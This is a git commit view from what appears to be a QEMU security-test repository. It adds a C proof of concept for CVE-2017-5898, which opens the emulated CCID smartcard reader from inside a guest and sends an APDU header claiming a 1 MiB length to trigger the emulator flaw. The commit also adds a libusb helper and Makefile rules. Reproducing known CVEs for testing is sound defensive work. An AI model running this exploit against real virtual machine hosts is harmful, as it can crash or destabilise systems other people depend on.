diff options
author | Gerd Hoffmann <kraxel@redhat.com> | 2017-02-13 13:43:18 +0100 |
---|---|---|
committer | Gerd Hoffmann <kraxel@redhat.com> | 2017-02-13 13:43:18 +0100 |
commit | 48b9694bce4e53dc6ceadb51423def5a546efef9 (patch) | |
tree | 98f359c86b1992b4199720cd8997e88f7e1e08dd | |
parent | eb0978fffe5d17f085a441faf68cedc24eea04e1 (diff) | |
download | qemu-security-48b9694bce4e53dc6ceadb51423def5a546efef9.tar.gz |
add cve-2017-5898.c
-rw-r--r-- | .gitignore | 1 | ||||
-rw-r--r-- | Makefile | 7 | ||||
-rw-r--r-- | cve-2017-5898.c | 141 | ||||
-rw-r--r-- | usb.c | 64 | ||||
-rw-r--r-- | usb.h | 8 |
5 files changed, 220 insertions, 1 deletions
@@ -1 +1,2 @@ cve-[0-9][0-9][0-9][0-9]-[0-9][0-9][0-9][0-9] +*.o @@ -5,11 +5,15 @@ CFLAGS += -Wall CVETEST := cve-2016-3712 PCITEST := cve-2017-2615 -TARGETS := $(CVETEST) $(PCITEST) +USBTEST := cve-2017-5898 +TARGETS := $(CVETEST) $(PCITEST) $(USBTEST) $(PCITEST) : CFLAGS += $(shell pkg-config --cflags libpci) $(PCITEST) : LDLIBS += $(shell pkg-config --libs libpci) +$(USBTEST) : CFLAGS += $(shell pkg-config --cflags libusb-1.0) +$(USBTEST) : LDLIBS += $(shell pkg-config --libs libusb-1.0) + all: $(TARGETS) clean: @@ -17,3 +21,4 @@ clean: rm -f *~ *.o cve-2017-2615: cve-2017-2615.o pci.o cirrus.o +cve-2017-5898: cve-2017-5898.o usb.o diff --git a/cve-2017-5898.c b/cve-2017-5898.c new file mode 100644 index 0000000..33ed63b --- /dev/null +++ b/cve-2017-5898.c @@ -0,0 +1,141 @@ +#include <stdio.h> +#include <stdlib.h> +#include <stdint.h> +#include <string.h> +#include <unistd.h> +#include <errno.h> +#include <fcntl.h> + +#include "usb.h" + +#define CCID_MAX_PACKET_SIZE 64 + +/* + * BULK_OUT messages from PC to Reader + * Defined in CCID Rev 1.1 6.1 (page 26) + */ +#define CCID_MESSAGE_TYPE_PC_to_RDR_IccPowerOn 0x62 +#define CCID_MESSAGE_TYPE_PC_to_RDR_IccPowerOff 0x63 +#define CCID_MESSAGE_TYPE_PC_to_RDR_GetSlotStatus 0x65 +#define CCID_MESSAGE_TYPE_PC_to_RDR_XfrBlock 0x6f +#define CCID_MESSAGE_TYPE_PC_to_RDR_GetParameters 0x6c +#define CCID_MESSAGE_TYPE_PC_to_RDR_ResetParameters 0x6d +#define CCID_MESSAGE_TYPE_PC_to_RDR_SetParameters 0x61 +#define CCID_MESSAGE_TYPE_PC_to_RDR_Escape 0x6b +#define CCID_MESSAGE_TYPE_PC_to_RDR_IccClock 0x6e +#define CCID_MESSAGE_TYPE_PC_to_RDR_T0APDU 0x6a +#define CCID_MESSAGE_TYPE_PC_to_RDR_Secure 0x69 +#define CCID_MESSAGE_TYPE_PC_to_RDR_Mechanical 0x71 +#define CCID_MESSAGE_TYPE_PC_to_RDR_Abort 0x72 +#define CCID_MESSAGE_TYPE_PC_to_RDR_SetDataRateAndClockFrequency 0x73 + +/* + * BULK_IN messages from Reader to PC + * Defined in CCID Rev 1.1 6.2 (page 48) + */ +#define CCID_MESSAGE_TYPE_RDR_to_PC_DataBlock 0x80 +#define CCID_MESSAGE_TYPE_RDR_to_PC_SlotStatus 0x81 +#define CCID_MESSAGE_TYPE_RDR_to_PC_Parameters 0x82 +#define CCID_MESSAGE_TYPE_RDR_to_PC_Escape 0x83 +#define CCID_MESSAGE_TYPE_RDR_to_PC_DataRateAndClockFrequency 0x84 + +/* + * INTERRUPT_IN messages from Reader to PC + * Defined in CCID Rev 1.1 6.3 (page 56) + */ +#define CCID_MESSAGE_TYPE_RDR_to_PC_NotifySlotChange 0x50 +#define CCID_MESSAGE_TYPE_RDR_to_PC_HardwareError 0x51 + +/* + * Endpoints for CCID - addresses are up to us to decide. + * To support slot insertion and removal we must have an interrupt in ep + * in addition we need a bulk in and bulk out ep + * 5.2, page 20 + */ +#define CCID_INT_IN_EP (1 | 0x80) +#define CCID_BULK_IN_EP (2 | 0x80) +#define CCID_BULK_OUT_EP (3) + +typedef struct __attribute__((packed)) CCID_Header { + uint8_t bMessageType; + uint32_t dwLength; + uint8_t bSlot; + uint8_t bSeq; +} CCID_Header; + +typedef struct __attribute__((packed)) CCID_BULK_IN { + CCID_Header hdr; + uint8_t bStatus; /* Only used in BULK_IN */ + uint8_t bError; /* Only used in BULK_IN */ +} CCID_BULK_IN; + +typedef struct __attribute__((packed)) CCID_SlotStatus { + CCID_BULK_IN b; + uint8_t bClockStatus; +} CCID_SlotStatus; + +int main(int argc, char *argv[]) +{ + int len, xlen, pos, xfered, rc; + uint8_t buf[CCID_MAX_PACKET_SIZE]; + CCID_Header *hdr = (void*)&buf; + CCID_SlotStatus *slot = (void*)&buf; + + find_device("smartcard reader", 0x08e6, 0x4433); + fprintf(stderr, "init ok\n"); + sleep(1); + + /* ------------------------------------------------------------ */ + + fprintf(stderr, "checking slot status ...\n"); + memset(buf, 0, sizeof(buf)); + hdr->bMessageType = CCID_MESSAGE_TYPE_PC_to_RDR_GetSlotStatus; + hdr->dwLength = len = 10; + rc = libusb_bulk_transfer(hdev, CCID_BULK_OUT_EP, buf, len, &xfered, 1000); + if (rc != 0) { + fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc); + exit(1); + } + fprintf(stderr, "slot-status out %d/%d\n", xfered, len); + + memset(buf, 0, sizeof(buf)); + len = sizeof(CCID_SlotStatus); + rc = libusb_bulk_transfer(hdev, CCID_BULK_IN_EP, buf, len, &xfered, 1000); + if (rc != 0) { + fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc); + exit(1); + } + fprintf(stderr, "slot-status out %d/%d\n", xfered, len); + fprintf(stderr, "status: 0x%x, error: 0x%x\n", + slot->b.bStatus, slot->b.bError); + if (slot->b.bStatus != 0x00 || slot->b.bError != 0x00) { + fprintf(stderr, "bad slot status (no card?)\n"); + exit(1); + } + fprintf(stderr, "... ok\n"); + + /* ------------------------------------------------------------ */ + + fprintf(stderr, "sending extra large apdu\n"); + memset(buf, 0, sizeof(buf)); + hdr->bMessageType = CCID_MESSAGE_TYPE_PC_to_RDR_T0APDU; + hdr->dwLength = len = 1024 * 1024; + pos = 0; + while (pos < len) { + xlen = (len - pos); + if (xlen > CCID_MAX_PACKET_SIZE) + xlen = CCID_MAX_PACKET_SIZE; + rc = libusb_bulk_transfer(hdev, CCID_BULK_OUT_EP, + buf, xlen, &xfered, 1000); + if (rc != 0) { + fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc); + exit(1); + } + pos += xfered; + fprintf(stderr, "\r%d/%d ", pos, len); + memset(buf, 0xaa, sizeof(buf)); + } + fprintf(stderr, "done\n"); + + exit(0); +} @@ -0,0 +1,64 @@ +#include <stdio.h> +#include <stdlib.h> +#include <stdint.h> +#include <unistd.h> +#include <string.h> +#include <fcntl.h> +#include <errno.h> + +#include "usb.h" + +static libusb_context *ctx; +libusb_device *dev; +libusb_device_handle *hdev; + +void find_device(char *name, + unsigned int vendor, + unsigned int device) +{ + struct libusb_device_descriptor ddesc; + libusb_device **devs = NULL; + int rc, i, n; + + if (!ctx) { + rc = libusb_init(&ctx); + if (rc != 0) { + fprintf(stderr, "libusb_init failed (%d)\n", rc); + exit(1); + } + libusb_set_debug(ctx, LIBUSB_LOG_LEVEL_INFO); + } + + n = libusb_get_device_list(ctx, &devs); + for (i = 0; i < n; i++) { + rc = libusb_get_device_descriptor(devs[i], &ddesc); + if (rc != 0) { + fprintf(stderr, "libusb_get_device_descriptor failed (%d)\n", rc); + exit(1); + } + if (vendor != ddesc.idVendor) + continue; + if (device != ddesc.idProduct) + continue; + dev = devs[i]; + fprintf(stderr, "%s found at %d:%d\n", name, + libusb_get_bus_number(dev), + libusb_get_device_address(dev)); + libusb_free_device_list(devs, 1); + + rc = libusb_open(dev, &hdev); + if (rc != 0) { + fprintf(stderr, "libusb_open failed (%d)\n", rc); + exit(1); + } + libusb_set_auto_detach_kernel_driver(hdev, 1); + rc = libusb_claim_interface(hdev, 0); + if (rc != 0) { + fprintf(stderr, "libusb_claim_interface failed (%d)\n", rc); + exit(1); + } + return; + } + fprintf(stderr, "%s not found\n", name); + exit(1); +} @@ -0,0 +1,8 @@ +#include <libusb.h> + +extern libusb_device *dev; +extern libusb_device_handle *hdev; + +void find_device(char *name, + unsigned int vendor, + unsigned int device); |